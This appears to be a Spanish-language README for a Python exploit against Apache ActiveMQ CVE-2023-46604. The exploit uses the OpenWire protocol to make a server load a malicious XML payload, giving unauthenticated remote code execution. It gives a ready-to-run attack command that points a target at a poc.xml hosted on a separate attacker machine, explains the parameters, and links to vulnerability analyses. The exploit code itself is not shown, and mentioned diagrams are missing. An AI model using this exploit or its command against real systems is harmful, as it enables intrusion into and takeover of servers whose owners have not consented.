justdoit-cai/cve-2023-46604-apache-activemq-rce-expExploit de ejecución remota de código basado en Python para Apache ActiveMQ CVE-2023-46604, que aprovecha el protocolo OpenWire para entregar cargas útiles XML para RCE no autenticado.
Este proyecto es una versión python del exp, reescrita a partir del exp del proyecto https://github.com/X1r0z/ActiveMQ-RCE.
python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616
El parámetro -p tiene como valor predeterminado el puerto por defecto de activeMQ. Ten en cuenta que el parámetro -x debe incluir el prefijo del protocolo.
Aquí se adjunta el diagrama del protocolo openwire, con lo que queda bastante claro.
A continuación se muestra el formato del paquete de datos del tipo .
Throwable
El análisis específico de la vulnerabilidad se encuentra en los artículos de referencia a continuación.
# openwire协议的分析
https://github.com/X1r0z
https://activemq.apache.org/openwire-version-2-specification
# CVE漏洞原理的分析
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/